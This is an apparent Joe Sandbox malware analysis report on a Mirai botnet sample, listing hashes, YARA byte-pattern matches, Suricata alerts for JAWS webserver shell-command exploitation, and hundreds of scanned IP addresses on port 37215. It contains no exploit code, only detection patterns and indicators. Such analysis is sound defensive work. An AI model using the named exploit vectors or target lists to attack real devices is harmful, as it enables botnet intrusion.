Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
z0r0.i686.elf

Overview

General Information

Sample name:z0r0.i686.elf
Analysis ID:1606668
MD5:1c6c2a332a5a70358c51391119e3571f
SHA1:20ae81ce516dcdaad05364f02f25a145f6cd76e4
SHA256:6b4c499de62a86251c3f45b773914ab44abaa30892a6fec90a29b29ed31b4745
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:100
Range:0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Detected Mirai
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Mirai
Connects to many ports of the same IP (likely port scanning)
Machine Learning detection for sample
Sample is packed with UPX
Sample tries to kill multiple processes (SIGKILL)
Uses known network protocols on non-standard ports
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
ELF contains segments with high entropy indicating compressed/encrypted content
Enumerates processes within the "proc" file system
HTTP GET or POST without a user agent
Sample contains only a LOAD segment without any section mappings
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1606668
Start date and time:2025-02-04 18:07:46 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 39s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:z0r0.i686.elf
Detection:MAL
Classification:mal100.spre.troj.evad.linELF@0/0@0/0
  • HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
  • Report size exceeded maximum capacity and may have missing network information.
Command:/tmp/z0r0.i686.elf
PID:5430
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
unstable_is_the_history_of_universe
Standard Error:
  • system is lnxubuntu20
  • wrapper-2.0 (PID: 5440, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
  • wrapper-2.0 (PID: 5441, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
  • wrapper-2.0 (PID: 5442, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
  • wrapper-2.0 (PID: 5443, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
    • xfpm-power-backlight-helper (PID: 5468, Parent: 5443, MD5: 3d221ad23f28ca3259f599b1664e2427) Arguments: /usr/sbin/xfpm-power-backlight-helper --get-max-brightness
  • wrapper-2.0 (PID: 5444, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
  • wrapper-2.0 (PID: 5445, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
  • xfconfd (PID: 5467, Parent: 5466, MD5: 4c7a0d6d258bb970905b19b84abcd8e9) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd
  • systemd New Fork (PID: 5475, Parent: 2935)
  • xfce4-notifyd (PID: 5475, Parent: 2935, MD5: eee956f1b227c1d5031f9c61223255d1) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
5432.1.0000000008048000.000000000805a000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
    5432.1.0000000008048000.000000000805a000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      5432.1.0000000008048000.000000000805a000.r-x.sdmpLinux_Trojan_Mirai_268aac0bunknownunknown
      • 0x647f:$a: 24 18 0F B7 44 24 20 8B 54 24 1C 83 F9 01 8B 7E 0C 89 04 24 8B
      5432.1.0000000008048000.000000000805a000.r-x.sdmpLinux_Trojan_Mirai_0cb1699cunknownunknown
      • 0x6432:$a: DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 10 0F B7 02 83 E9 02 83
      5432.1.0000000008048000.000000000805a000.r-x.sdmpLinux_Trojan_Mirai_c8385b81unknownunknown
      • 0x9acc:$a: 8D 74 26 00 89 C2 83 ED 04 C1 E2 0B 31 C2 89 F0 C1 E8 13 89 D1
      Click to see the 25 entries
      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2025-02-04T18:08:40.701132+010020300921Web Application Attack192.168.2.1357744195.238.77.8780TCP
      2025-02-04T18:08:40.770288+010020300921Web Application Attack192.168.2.1336070194.116.26.22880TCP
      2025-02-04T18:08:41.144025+010020300921Web Application Attack192.168.2.1337104113.23.163.6180TCP
      2025-02-04T18:08:49.967917+010020300921Web Application Attack192.168.2.1344950106.4.88.880TCP
      2025-02-04T18:08:51.763357+010020300921Web Application Attack192.168.2.135156818.199.112.16780TCP
      2025-02-04T18:08:51.927721+010020300921Web Application Attack192.168.2.136003646.250.238.20980TCP
      2025-02-04T18:08:52.936620+010020300921Web Application Attack192.168.2.1357574199.139.41.19780TCP
      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2025-02-04T18:08:40.701132+010020290341Web Application Attack192.168.2.1357744195.238.77.8780TCP
      2025-02-04T18:08:40.770288+010020290341Web Application Attack192.168.2.1336070194.116.26.22880TCP
      2025-02-04T18:08:41.144025+010020290341Web Application Attack192.168.2.1337104113.23.163.6180TCP
      2025-02-04T18:08:49.967917+010020290341Web Application Attack192.168.2.1344950106.4.88.880TCP
      2025-02-04T18:08:51.763357+010020290341Web Application Attack192.168.2.135156818.199.112.16780TCP
      2025-02-04T18:08:51.927721+010020290341Web Application Attack192.168.2.136003646.250.238.20980TCP
      2025-02-04T18:08:52.936620+010020290341Web Application Attack192.168.2.1357574199.139.41.19780TCP

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: z0r0.i686.elfAvira: detected
      Source: z0r0.i686.elfVirustotal: Detection: 47%Perma Link
      Source: z0r0.i686.elfReversingLabs: Detection: 55%
      Source: z0r0.i686.elfJoe Sandbox ML: detected

      Networking

      barindex
      Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:57744 -> 195.238.77.87:80
      Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:57744 -> 195.238.77.87:80
      Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:36070 -> 194.116.26.228:80
      Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:36070 -> 194.116.26.228:80
      Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:37104 -> 113.23.163.61:80
      Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:37104 -> 113.23.163.61:80
      Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:44950 -> 106.4.88.8:80
      Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:44950 -> 106.4.88.8:80
      Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:51568 -> 18.199.112.167:80
      Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:51568 -> 18.199.112.167:80
      Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:60036 -> 46.250.238.209:80
      Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:60036 -> 46.250.238.209:80
      Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:57574 -> 199.139.41.197:80
      Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:57574 -> 199.139.41.197:80
      Source: global trafficTCP traffic: 41.255.36.40 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.212.249.16 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.159.136.9 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.29.184.52 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.66.189.233 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.158.166.207 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.5.73.241 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.105.172.182 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.161.146.30 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.137.1.100 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.223.233.19 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.50.195.51 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.97.245.108 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.185.179.147 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.50.188.196 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.216.224.151 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.219.191.246 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.89.97.41 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.128.219.26 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.228.112.53 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.137.178.86 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.54.218.130 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.31.153.175 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.149.56.196 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.31.178.71 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.235.63.1 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.106.131.211 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.28.41.3 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.225.29.240 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.128.96.20 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.87.80.228 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.255.221.127 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.64.192.123 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.52.193.232 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.69.59.79 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.237.6.243 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.66.231.21 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.200.202.192 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.155.182.42 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.154.24.89 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.215.213.60 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.9.36.179 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.141.58.80 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.175.209.111 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.181.234.99 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.109.217.201 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.148.47.241 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.5.247.55 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.195.238.44 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.237.186.77 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.214.80.48 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.54.62.131 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.42.254.74 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.205.131.181 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.137.107.121 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.23.128.97 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.98.7.249 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.39.47.18 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.240.121.192 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.187.195.113 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.26.57.76 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.251.4.151 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.112.255.226 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.181.102.233 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.146.235.251 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.252.78.129 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.244.96.233 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.211.220.222 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.24.67.231 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.142.57.9 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.47.47.107 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.188.102.116 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.24.168.254 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.217.153.142 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.252.59.39 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.148.68.185 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.112.250.191 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.232.145.52 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.24.119.10 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.169.93.73 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.123.74.64 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.197.228.81 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.46.31.4 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.72.46.180 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.39.146.22 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.247.248.227 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.24.247.178 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.207.93.64 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.217.248.151 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.251.154.91 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.246.87.25 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.134.29.91 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.78.201.140 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.135.212.85 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.46.13.137 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.36.29.104 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.133.124.193 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.247.68.17 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.145.21.184 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.205.125.71 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.120.63.61 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.103.158.247 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.193.79.205 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.193.225.157 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.225.1.126 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.253.140.118 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.88.170.40 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.219.73.167 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.248.68.142 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.172.145.93 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.92.51.122 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.72.210.12 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.217.253.170 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.163.166.46 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.81.245.209 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.49.29.195 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.70.130.233 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.157.55.157 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.56.35.222 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.46.169.136 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.11.242.60 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.24.14.161 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.194.200.95 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.150.250.151 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.49.229.229 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.86.216.14 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.215.119.169 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.28.69.247 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.158.132.227 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.45.184.246 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.117.55.236 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.89.91.184 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.42.63.65 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.22.24.205 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.35.140.168 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.199.29.184 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.46.216.130 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.154.96.248 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.207.128.236 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.151.41.223 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.223.231.204 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.10.245.60 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.17.196.62 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.105.38.106 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.200.65.181 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.155.225.179 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.240.165.230 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.24.119.38 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.96.240.213 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.224.2.174 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.56.109.250 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.240.138.44 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.19.30.146 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.148.28.104 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.178.205.15 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.209.247.220 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.169.85.222 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.135.81.9 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.107.213.96 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.23.254.75 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.111.218.83 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.225.39.183 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.44.172.38 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.173.127.27 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.169.101.19 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.90.207.242 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.27.118.153 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.90.87.53 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.152.94.102 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.118.201.83 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.128.220.153 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.112.34.224 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.113.47.86 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.255.99.175 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.64.246.135 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.199.63.117 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.166.148.75 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.146.176.91 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.202.105.232 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.12.186.211 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.14.91.1 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.72.93.6 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.117.31.221 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.4.165.12 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.104.33.39 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.252.34.39 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.120.154.196 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.173.166.55 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.16.61.224 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.17.45.167 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.160.168.9 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.240.75.70 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.209.251.42 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.87.76.112 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.236.109.33 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.128.83.104 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.59.216.205 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.254.242.178 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.204.174.4 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.9.185.128 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.215.168.242 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.42.101.148 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.219.46.107 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.14.96.234 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.6.9.189 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.171.13.1 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.35.199.93 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.245.122.73 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.99.71.111 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.25.185.29 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.42.210.250 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.154.96.183 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.99.201.137 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.221.121.8 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.231.5.20 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.108.3.98 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.111.199.142 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.12.25.65 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.254.134.61 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.2.7.57 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.176.114.203 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.120.47.135 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.46.234.35 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.177.92.73 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.143.67.50 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.231.150.76 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.189.237.231 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.174.224.234 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.31.203.218 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.241.14.156 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.1.215.37 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.37.186.125 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.53.28.251 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.78.224.30 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.112.188.30 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.79.173.40 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.250.234.67 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.127.2.248 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.149.174.180 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.170.64.222 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.146.173.192 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 156.196.5.83 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 197.137.68.107 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.164.215.65 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.92.93.20 ports 1,2,3,5,7,37215
      Source: global trafficTCP traffic: 41.141.21.187 ports 1,2,3,5,7,37215
